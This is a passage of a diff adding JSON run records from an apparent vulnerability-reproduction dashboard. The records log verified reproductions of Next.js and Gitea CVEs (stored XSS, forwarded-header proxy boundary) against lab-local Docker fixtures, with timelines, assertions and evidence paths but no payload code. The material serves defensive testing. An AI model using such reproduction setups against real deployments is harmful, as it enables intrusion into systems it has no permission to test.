    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/compose/compose.yaml",
    +            "label": "compose.yaml",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "baseline",
    +        "label": "\u57fa\u7ebf\u5feb\u7167",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json",
    +            "label": "baseline.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "attack",
    +        "label": "\u653b\u51fb\u8f93\u51fa",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "browser",
    +        "label": "\u6d4f\u89c8\u5668\u8bc1\u636e",
    +        "count": 10,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png",
    +            "label": "baseline.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html",
    +            "label": "baseline-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json",
    +            "label": "baseline-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json",
    +            "label": "baseline-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json",
    +            "label": "baseline-page.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png",
    +            "label": "proof.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html",
    +            "label": "proof-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json",
    +            "label": "proof-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json",
    +            "label": "proof-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json",
    +            "label": "proof-page.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "container",
    +        "label": "\u5bb9\u5668\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/docker/app.log",
    +            "label": "app.log",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "requests",
    +        "label": "\u8bf7\u6c42\u4e0e\u63a2\u6d4b\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      }
    +    ]
    +  },
    +  {
    +    "run_id": "gitea-gitea--CVE-2021-28378-20260318012813",
    +    "system_id": "gitea",
    +    "advisory_id": "gitea--CVE-2021-28378",
    +    "repro_profile_id": "gitea-xss",
    +    "verification_status": "verified-real",
    +    "verification_mode": "real",
    +    "artifact_mode": "local-fixture",
    +    "target_env": "local-docker",
    +    "compose_services": [
    +      "app"
    +    ],
    +    "baseline_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json"
    +    ],
    +    "attack_steps": [
    +      {
    +        "kind": "runner",
    +        "tool": "gitea.xss",
    +        "status": "completed",
    +        "status_code": 200,
    +        "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json"
    +      }
    +    ],
    +    "browser_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json"
    +    ],
    +    "browser_evidence": {
    +      "required": true,
    +      "present": true,
    +      "refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json"
    +      ],
    +      "baseline_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json"
    +      ],
    +      "proof_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json"
    +      ],
    +      "baseline_title": "Gitea Stored XSS Fixture",
    +      "proof_title": "Gitea Stored XSS Fixture - proof",
    +      "error_kind": null,
    +      "reason": null
    +    },
    +    "container_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/docker/app.log"
    +    ],
    +    "request_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json"
    +    ],
    +    "compose_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/compose/compose.yaml"
    +    ],
    +    "timeline": [
    +      {
    +        "at": "2026-03-18T01:28:13+00:00",
    +        "step": "select-advisory",
    +        "status": "completed",
    +        "detail": "gitea--CVE-2021-28378"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:13+00:00",
    +        "step": "resolve-repro-profile",
    +        "status": "completed",
    +        "detail": "gitea-xss"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:13+00:00",
    +        "step": "doctor",
    +        "status": "completed",
    +        "detail": "all checks passed"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:16+00:00",
    +        "step": "provision-compose-environment",
    +        "status": "ready",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:28:16+00:00",
    +        "step": "wait-ready",
    +        "status": "completed",
    +        "detail": "baseline urls ready (1)"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:16+00:00",
    +        "step": "seed-environment",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:16+00:00",
    +        "step": "baseline-snapshot",
    +        "status": "completed",
    +        "detail": "urls=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:17+00:00",
    +        "step": "browser-replay-before-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:28:17+00:00",
    +        "step": "controlled-attack-chain",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:18+00:00",
    +        "step": "browser-replay-after-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:28:18+00:00",
    +        "step": "collect-logs-and-evidence",
    +        "status": "completed",
    +        "detail": "container_logs=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:19+00:00",
    +        "step": "cleanup-compose-environment",
    +        "status": "completed",
    +        "detail": "docker compose down completed"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:19+00:00",
    +        "step": "update-registry-and-reports",
    +        "status": "completed",
    +        "detail": "gitea-gitea--CVE-2021-28378-20260318012813"
    +      }
    +    ],
    +    "success_evaluation": {
    +      "passed": true,
    +      "verification_status": "verified-real",
    +      "blocked_reason": null,
    +      "assertions": [
    +        {
    +          "name": "baseline-ok",
    +          "kind": "baseline-ok",
    +          "passed": true,
    +          "detail": "baseline URLs responded without 5xx or transport errors"
    +        },
    +        {
    +          "name": "runner-success",
    +          "kind": "runner-success",
    +          "passed": true,
    +          "detail": "stored payload rendered inside the browser proof page"
    +        },
    +        {
    +          "name": "browser-present",
    +          "kind": "browser-present",
    +          "passed": true,
    +          "detail": "browser evidence captured"
    +        }
    +      ]
    +    },
    +    "historical_status": "verified-real",
    +    "latest_status": "verified-real",
    +    "started_at": "2026-03-18T01:28:13+00:00",
    +    "finished_at": "2026-03-18T01:28:19+00:00",
    +    "blocked_reason": null,
    +    "report_refs": {
    +      "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813",
    +      "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.md",
    +      "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.html",
    +      "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd"
    +    },
    +    "dashboard_refs": {
    +      "report_html": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/report.html",
    +      "report_md": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/report.md",
    +      "timeline": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd",
    +      "bundle": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/run.json"
    +    },
    +    "browser_links": [
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json"
    +    ],
    +    "container_links": [
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/docker/app.log"
    +    ],
    +    "request_links": [
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json",
    +      "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json"
    +    ],
    +    "advisory_meta": {},
    +    "profile_meta": {
    +      "profile_id": "gitea-xss",
    +      "vuln_family": "xss",
    +      "provisioning_mode": "real",
    +      "destructive_risk": "low",
    +      "cleanup_policy": "destroy",
    +      "artifact_source": {
    +        "strategy": "local-minimal-fixture"
    +      },
    +      "success_criteria": [
    +        "Browser proof page renders the stored XSS marker after the controlled payload."
    +      ],
    +      "seed_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Seed stored content page before browser proof capture."
    +        }
    +      ],
    +      "attack_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Runner stores inert script payload and captures proof page."
    +        }
    +      ],
    +      "browser_assertions": {
    +        "required": true
    +      },
    +      "allowed_target_types": [
    +        "lab-local"
    +      ],
    +      "required_services": [
    +        "app"
    +      ]
    +    },
    +    "reasoning_lines": [
    +      "Seed stored content page before browser proof capture.",
    +      "Runner stores inert script payload and captures proof page.",
    +      "Browser proof page renders the stored XSS marker after the controlled payload."
    +    ],
    +    "progress": {
    +      "completed": 12,
    +      "skipped": 0,
    +      "failed": 0,
    +      "blocked": 0,
    +      "planned": 0,
    +      "other": 1
    +    },
    +    "artifact_groups": [
    +      {
    +        "key": "reports",
    +        "label": "\u62a5\u544a\u4e0e\u8fd0\u884c\u4ea7\u7269",
    +        "count": 4,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/report.html",
    +            "label": "report.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/report.md",
    +            "label": "report.md",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd",
    +            "label": "timeline.mmd",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/run.json",
    +            "label": "run.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "compose",
    +        "label": "Compose \u7f16\u6392",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/compose/compose.yaml",
    +            "label": "compose.yaml",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "baseline",
    +        "label": "\u57fa\u7ebf\u5feb\u7167",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json",
    +            "label": "baseline.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "attack",
    +        "label": "\u653b\u51fb\u8f93\u51fa",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "browser",
    +        "label": "\u6d4f\u89c8\u5668\u8bc1\u636e",
    +        "count": 10,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png",
    +            "label": "baseline.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html",
    +            "label": "baseline-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json",
    +            "label": "baseline-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json",
    +            "label": "baseline-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json",
    +            "label": "baseline-page.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png",
    +            "label": "proof.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html",
    +            "label": "proof-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json",
    +            "label": "proof-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json",
    +            "label": "proof-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json",
    +            "label": "proof-page.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "container",
    +        "label": "\u5bb9\u5668\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/docker/app.log",
    +            "label": "app.log",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "requests",
    +        "label": "\u8bf7\u6c42\u4e0e\u63a2\u6d4b\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      }
    +    ]
    +  },
    +  {
    +    "run_id": "gitea-gitea--CVE-2020-13246-20260318012806",
    +    "system_id": "gitea",
    +    "advisory_id": "gitea--CVE-2020-13246",
    +    "repro_profile_id": "gitea-proxy-boundary",
    +    "verification_status": "verified-real",
    +    "verification_mode": "real",
    +    "artifact_mode": "local-fixture",
    +    "target_env": "local-docker",
    +    "compose_services": [
    +      "app"
    +    ],
    +    "baseline_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json"
    +    ],
    +    "attack_steps": [
    +      {
    +        "kind": "runner",
    +        "tool": "gitea.proxy-boundary",
    +        "status": "completed",
    +        "status_code": 200,
    +        "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json"
    +      }
    +    ],
    +    "browser_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json"
    +    ],
    +    "browser_evidence": {
    +      "required": true,
    +      "present": true,
    +      "refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json"
    +      ],
    +      "baseline_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json"
    +      ],
    +      "proof_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json"
    +      ],
    +      "baseline_title": "Gitea Proxy Boundary Fixture",
    +      "proof_title": "Gitea Proxy Boundary Fixture - proof",
    +      "error_kind": null,
    +      "reason": null
    +    },
    +    "container_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/docker/app.log"
    +    ],
    +    "request_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json"
    +    ],
    +    "compose_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/compose/compose.yaml"
    +    ],
    +    "timeline": [
    +      {
    +        "at": "2026-03-18T01:28:06+00:00",
    +        "step": "select-advisory",
    +        "status": "completed",
    +        "detail": "gitea--CVE-2020-13246"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:06+00:00",
    +        "step": "resolve-repro-profile",
    +        "status": "completed",
    +        "detail": "gitea-proxy-boundary"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:07+00:00",
    +        "step": "doctor",
    +        "status": "completed",
    +        "detail": "all checks passed"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:10+00:00",
    +        "step": "provision-compose-environment",
    +        "status": "ready",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:28:10+00:00",
    +        "step": "wait-ready",
    +        "status": "completed",
    +        "detail": "baseline urls ready (1)"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:10+00:00",
    +        "step": "seed-environment",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:10+00:00",
    +        "step": "baseline-snapshot",
    +        "status": "completed",
    +        "detail": "urls=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:10+00:00",
    +        "step": "browser-replay-before-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:28:10+00:00",
    +        "step": "controlled-attack-chain",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:11+00:00",
    +        "step": "browser-replay-after-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:28:11+00:00",
    +        "step": "collect-logs-and-evidence",
    +        "status": "completed",
    +        "detail": "container_logs=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:13+00:00",
    +        "step": "cleanup-compose-environment",
    +        "status": "completed",
    +        "detail": "docker compose down completed"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:13+00:00",
    +        "step": "update-registry-and-reports",
    +        "status": "completed",
    +        "detail": "gitea-gitea--CVE-2020-13246-20260318012806"
    +      }
    +    ],
    +    "success_evaluation": {
    +      "passed": true,
    +      "verification_status": "verified-real",
    +      "blocked_reason": null,
    +      "assertions": [
    +        {
    +          "name": "baseline-ok",
    +          "kind": "baseline-ok",
    +          "passed": true,
    +          "detail": "baseline URLs responded without 5xx or transport errors"
    +        },
    +        {
    +          "name": "runner-success",
    +          "kind": "runner-success",
    +          "passed": true,
    +          "detail": "trusted forwarded headers crossed the boundary"
    +        },
    +        {
    +          "name": "browser-present",
    +          "kind": "browser-present",
    +          "passed": true,
    +          "detail": "browser evidence captured"
    +        }
    +      ]
    +    },
    +    "historical_status": "verified-real",
    +    "latest_status": "verified-real",
    +    "started_at": "2026-03-18T01:28:06+00:00",
    +    "finished_at": "2026-03-18T01:28:13+00:00",
    +    "blocked_reason": null,
    +    "report_refs": {
    +      "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806",
    +      "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.md",
    +      "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.html",
    +      "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd"
    +    },
    +    "dashboard_refs": {
    +      "report_html": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/report.html",
    +      "report_md": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/report.md",
    +      "timeline": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd",
    +      "bundle": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/run.json"
    +    },
    +    "browser_links": [
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json"
    +    ],
    +    "container_links": [
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/docker/app.log"
    +    ],
    +    "request_links": [
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json",
    +      "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json"
    +    ],
    +    "advisory_meta": {},
    +    "profile_meta": {
    +      "profile_id": "gitea-proxy-boundary",
    +      "vuln_family": "proxy-boundary",
    +      "provisioning_mode": "real",
    +      "destructive_risk": "low",
    +      "cleanup_policy": "destroy",
